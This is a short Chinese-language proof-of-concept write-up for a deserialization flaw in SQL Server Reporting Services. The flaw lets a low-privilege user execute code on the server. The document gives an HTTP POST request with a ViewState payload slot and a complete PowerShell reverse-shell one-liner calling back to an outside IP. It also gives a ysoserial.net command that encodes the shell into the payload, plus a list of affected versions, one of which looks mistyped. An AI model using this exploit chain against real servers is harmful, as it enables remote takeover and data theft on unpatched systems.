1.簡介
SQL Server Reporting Services（SSRS）提供了一組本地工具和服務，用於創建，部署和管理移動報告和分頁報告。
SSRS Web應用程序中的功能允許低特權用戶帳戶通過利用反序列化問題在服務器上運行代碼。（也就是說需要一定的權限，低權限賬戶且為瀏覽器角色即可。）
2.POC
POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: X
NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=[PayloadHere]&__VIEWSTATE=
可以在PowerShell中使用以下命令來使用ysoserial.net工具生成payload
$command = '$client = New-Object System.Net.Sockets.TCPClient("192.168.6.135",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
.\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip
3.影響版本
SQL Server 2016 Service Pack 2(GDR) 13.0.5026.0 - 13.0.5101.9 KB4505220
SQL Server 2016 Service Pack 2 CU11 13.0.5149.0 - 13.0.5598.27 KB4527378
SQL Server 2014 Service Pack 3 (GDR) 12.0.6024.0 - 12.0.6108.1 KB4505218
Server 2014 Service Pack 2 CU4 12.0.6205.1 - 12.0.6329.1 KB4500181
SQL Server 2012 Service Pack 4 (QFE) 111.0.7001.0 - 11.0.7462.6 KB4057116